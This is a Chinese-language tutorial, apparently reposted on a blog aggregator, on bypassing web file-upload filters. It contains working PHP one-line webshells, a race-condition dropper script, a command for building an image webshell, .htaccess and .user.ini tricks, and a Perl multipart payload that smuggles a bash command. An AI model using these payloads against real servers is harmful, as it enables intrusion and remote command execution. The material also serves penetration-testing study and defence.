文件上传漏洞~操作手册

目录

上传文件一般过滤方式

客服端校验

服务端校验

黑白名单机制

常规文件上传漏洞绕过

客户端绕过

1.游览器禁用JavaScript

2.正常burp suite抓包改包

服务端绕过

1.Content-Type绕过

2.黑名单绕过

1)命名规则绕过

2)大小写绕过

3)末尾空格绕过

4)末尾“.”绕过

5)文件末尾添加::$DATA绕过

6)双写绕过

3.白名单绕过

1)00截断(%00)绕过

2)文件头检测绕过

3)图片二次渲染绕过

4)条件竞争

特殊文件上传漏洞绕过

.htaccess绕过

fastcgi的.user.ini绕过


上传文件一般过滤方式

客服端校验

  • 使用JavaScript校验

服务端校验

  • 检查Content-Type (内容类型)
  • 检查后缀
  • 检查文件头

黑白名单机制

  • 黑名单:禁用上传的类型
  • 白名单:只允许上传指定类型

常规文件上传漏洞绕过

客户端绕过

1.游览器禁用JavaScript

2.正常burp suite抓包改包

服务端绕过

1.Content-Type绕过

文件扩展名

Mime-Type

.js

application/x-javascript

.html

text/html

.jpg

image/jpeg

.png

image/png

.pdf

application/pdf

只是检查一下文件的上传格式,mime校验

使用burp suite抓包改包就行

2.黑名单绕过

1)命名规则绕过

php中,默认状态下.php3、.php4、.php5、.phtml 都是会被解析为php。

尝试 .php1~.php9 ,.phps,.htaccess等后缀名。

2)大小写绕过

没有 strtolower()函数,说明不存在大小写过滤,因此可以考虑大小写绕过

比如:.Php、PHp、PHP、pHP、phP、PhP等。

3)末尾空格绕过

Linux:没有trim($file_ext)对首尾去空的函数,则可以在文件尾后面添加一个空格。

比如:'.php'过滤,则不会匹配'.php '结尾的文件,服务器仍然会正常解析。

4)末尾“.”绕过

Linux:没有deldot($file_name)删除文件名末尾的点函数,则可以在文件尾后面添加一个“.”。

比如:对于'.php'过滤,则不会过滤掉'.php.'文件。

5)文件末尾添加::$DATA绕过

在windows上,如果文件名+"::$DATA",会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。(Windows文件流绕过)

比如:"phpinfo.php::$DATA",Windows会自动去掉末尾的::$DATA变成"phpinfo.php"。

6)双写绕过

在过滤一些字符时,有时只会过滤一次,可以写两次绕过。

或某些函数去除“.”和空格只去除一次,可以进行多写几个空格和“.”绕过

比如:.pphphp,从左往右匹配到第一个php时去掉变为.php,达到了绕过的目的

3.白名单绕过

1)00截断(%00)绕过

有些函数,会把字符的ascii码值为0,当做结束符

基于GET的00截断

基于POST的00截断

burp suite抓包改包,如:“1.phpa”,在Hex里改a的ASCII“61”为“00”

2)文件头检测绕过

有的文件上传,上传时会检测文件头,不同的文件,文件头也不一样,常见的文件上传图片头检测 它检测图片两个字节长度,如果不是图片格式,会禁止上传文件。

a.可以添加GIF89a

#常见的图片文件头
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47

b.可以制作图片马

准备图片1.png与恶意脚本test.php。

cmd下执行下面代码,即可获取图片马。

copy 1.png/b+test.php test.png
# 参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
copy 1.png/b+test.text/a test.png
# 参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件

3)图片二次渲染绕过

有的文件上传后,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。

首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。 所以二次渲染攻击最好用 gif 图片马。

将渲染后的图片和原图进行比较

找相同处,覆盖字符串,填写一句话木马或者恶意指令

原图片与渲染后的图片这个位置的字符串没有改变,在原图片这个位置替换,然后直接上传即可

4)条件竞争

上传-->保存-->检测-->删除

与删除函数竞争,在删除之前,能访问(执行)上传的文件。

上传的文件是一个能生成木马的文件,

比如文件test.php:<?php fwrite(fopen('muma.php','w'),'<?php @eval($_POST[muma]);?>');?>

a.用burp suite持续上传文件(test.php)

b.用burp suite持续访问上传的文件(test.php)

c.getshell,连接muma.php

特殊文件上传漏洞绕过

.htaccess绕过

上传.htaccess文件,添加解析AddType application/x-httpd-php .jpg

例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析。

fastcgi的.user.ini绕过

.user.ini

GIF89a
auto_prepend_file=1.png

图片

1.png

GIF89a
<?=eval($_REQUEST['pass']); ?>

getshell

http://ip:port/xxx/xxx.php
pass

当 auto_prepend_file 配置启用后,PHP 在执行每个脚本之前会自动将指定的文件包含进来,作为脚本的一部分。这个文件可以包含一些通用的代码、函数、类或初始化操作,以便在每个脚本中都能自动执行。

因此,我们可以传入.user.ini文件,通过auto_prepend_file将含有一句话木马的文件名称包含到每个文件中。然后再上传该文件。

Perl文件上传

ARGV 安全漏洞

文件上传链接上传文件并把文件内容打印出来。猜想后台应该用了param()函数。

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。

use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' );while ( <$file> ) { print "$_"; }
}

------WebKitFormBoundaryAhqteWA3ey7NaUBQ
Content-Disposition: form-data; name="file"; 
Content-Type: text/plainARGV
?/bin/bash%20-c%20ls${IFS}/|

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/132935.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

怎么用excel管理固定资产

在当今的数字时代&#xff0c;我们已经习惯了使用各种电子工具来提高我们的生产力。其中&#xff0c;Excel无疑是一个强大的工具&#xff0c;它不仅可以帮助我们处理数据&#xff0c;还可以用来进行复杂的计算和分析。然而&#xff0c;你可能不知道的是&#xff0c;Excel也可以…

优思学院|什么是精益项目管理?

正确地使用精益思想和技术是可以减少项目中的浪费、提高客户满意度&#xff0c;并提高项目的利润率。 在现实世界中&#xff0c;项目经理的工作充满了挑战。他们不仅需要专注于产品和团队&#xff0c;还必须确保客户的满意度。同时&#xff0c;他们还必须与矩阵组织打交道&…

异步FIFO设计

1 FIFO简介 FIFO的本质是RAM&#xff0c;具有先进先出的特性。 FIFO的基本使用原则&#xff1a;空时不能读&#xff0c;满时不能写 FIFO的两个重要参数&#xff1a;宽度和深度 FIFO的两种类型&#xff1a; 同步FIFO&#xff1a;读写时钟相同&#xff0c;通常用来做数据缓存…

本地录像视频文件如何推送到视频监控平台EasyCVR进行AI视频智能分析?

安防监控平台EasyCVR支持多协议、多类型设备接入&#xff0c;可以实现多现场的前端摄像头等设备统一集中接入与视频汇聚管理&#xff0c;并能进行视频高清监控、录像、云存储与磁盘阵列存储、检索与回放、级联共享等视频功能。视频汇聚平台既具备传统安防监控、视频监控的视频能…

【算法】前缀和与差分

大家好&#xff01;今天我们来学习前缀和与差分算法。 目录 1. 一维前缀和 1.1 定义 1.2 计算方法 1.3 作用 1.4 适用场景 1.5 模板题 1.6 总结 2. 二维前缀和 2.1 定义 2.2 计算方法 2.3 模板题 2.4 总结 3. 一维差分 3.1 定义 3.2 差分数组 3.3 差分标记 3…

什么是JavaScript中的严格模式(strict mode)?应用场景是什么?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 严格模式&#xff08;Strict Mode&#xff09;&#xff1a;⭐ 使用场景⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&…

SpringMVC多文件上传

文章目录 一、文件上传1.1 导入pom依赖1.2 配置文件上传解析器1.3 设置文件上传表单1.4 实现文件上传 二、文件下载三、多文件上传四、JRebel的使用 一、文件上传 1.1 导入pom依赖 <commons-fileupload.version>1.3.3</commons-fileupload.version><dependency…

高德地图实现-微信小程序地图导航

效果图&#xff1a; 一、准备阶段 1、在高德开放平台注册成为开发者2、申请开发者密钥&#xff08;key&#xff09;。3、下载并解压高德地图微信小程序SDK 高德开放平台&#xff1a; 注册账号(https://lbs.amap.com/)) 申请小程序应用的 key 应用管理(https://console.ama…

苹果“FindMy”APP

“FindMy”是一项 Apple 服务&#xff0c;可以定位设备。在 iOS 13 之前&#xff0c;Apple将该服务拆分为单独的应用程序&#xff1a;“查找我的 iPhone”&#xff08;或 iPad 或 Mac&#xff09;和“查找我的朋友”。该服务适用于iPhone、iPad、Mac、Apple Watch、AirPods、Ai…

MyBatisPlus(二)基础Mapperr接口:增删改查

MyBatisPlus&#xff1a;基础Mapper接口&#xff1a;增删改查 插入一条数据 代码 Testpublic void insert() {User user new User();user.setId(6L);user.setName("张三");user.setAge(25);user.setEmail("zhangsanexample.com");userMapper.insert(use…

什么是接口自动化?为什么要做?和怎么做接口自动化?

服务端接口测试介绍 什么是服务端&#xff1f; 一般所说的服务端是指为用户在 APP 或 PC 使用的互联网功能提供数据服务的背后的一切。以天猫精灵智能音箱系列的产品链路为例&#xff0c;服务端便是网关&#xff08;包括网关在内&#xff09;之后的链路。 什么是接口&#xf…

张雪峰说网络空间安全专业

网络空间安全专业是一个涵盖了计算机科学、信息安全、法律等多个领域的学科&#xff0c;旨在研究保护网络空间的信息系统和数据不被非法侵入、破坏、篡改、泄露的技术和管理手段。 网络安全专业的重要性 随着网络技术的发展&#xff0c;网络安全问题也日益凸显&#xff0c;黑客…

避免使用违规词,企业新媒体营销应注重品牌形象维护

随着越来越多的主体入局新媒体平台&#xff0c;为了维护平台健康的内容生态和创造良好的社区氛围&#xff0c;社交平台在内容上的监管越发严格。 不可避免的&#xff0c;很多做新媒体营销的企业开始陷入与平台审核的“拉扯”之中。 为了让品牌账号在各平台上顺利运营&#xff0…

Linux C++ 海康摄像头 Alarm Demo

项目结构 CMakeLists.txt cmake_minimum_required(VERSION 3.7)SET(CMAKE_BUILD_TYPE "Debug") SET(CMAKE_CXX_FLAGS_DEBUG "$ENV{CXXFLAGS} -O0 -Wall -g -ggdb") SET(CMAKE_CXX_FLAGS_RELEASE "$ENV{CXXFLAGS} -O3 -Wall")project(CapPicture…

vue2以ElementUI为例构建notify便捷精美提示

我们先引入一个 第三方UI库 这里 我们以elementUI为例 先引入依赖 npm install element-ui --save然后 在 main.js 入口文件中 引入一下 import ElementUI from element-ui import element-ui/lib/theme-chalk/index.cssVue.use(ElementUI)然后 在组件中使用 this.$notify({…

代码随想录算法训练营第49天|121. 买卖股票的最佳时机,买卖股票的最佳时机II

链接: 121. 买卖股票的最佳时机 链接: 122.买卖股票的最佳时机II 121. 买卖股票的最佳时机 给定一个数组 prices &#xff0c;它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票&#xff0c;并选择在 未来的某一个不同的日子 卖出…

RTE 领域近期词云统计发布;谷歌开始新一轮「瘦身」计划;使用ChatGPT之后智力提高 50%丨RTE开发者日报 Vol.50

开发者朋友们大家好&#xff1a; 这里是**「RTE 开发者日报」**&#xff0c;每天和大家一起看新闻、聊八卦。不知不觉&#xff0c;我们的日报已经发布了 50 期&#xff0c;作为 RTE 领域最垂直的日报栏目&#xff0c;我们的社区编辑团队会整理分享 RTE &#xff08;Real Time …

云计算——ACA学习 云计算分类

作者简介&#xff1a;一名云计算网络运维人员、每天分享网络与运维的技术与干货。 公众号&#xff1a;网络豆 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xff1a; 网络豆的主页​​​​​ 目录 写在前面 前期回顾 本期介绍 一.云计算分类 1.公有云…

模拟实现C语言--strcat函数

模拟实现C语言–strcat函数 文章目录 模拟实现C语言--strcat函数一、strcat函数是什么&#xff1f;二、使用示例二、模拟实现 一、strcat函数是什么&#xff1f; 作用是把源数据追加到目标空间 char * strcat ( char * destination, const char * source );源字符串必须以 ‘…

誉天在线项目-UML状态图+泳道图

什么是UML UML&#xff08;Unified Modeling Language&#xff09;是一种用于软件系统建模的标准化语言。它提供了一组图形符号和规范&#xff0c;用于描述和设计软件系统的结构、行为和交互。 UML图形符号包括类图、用例图、时序图、活动图、组件图、部署图等&#xff0c;每…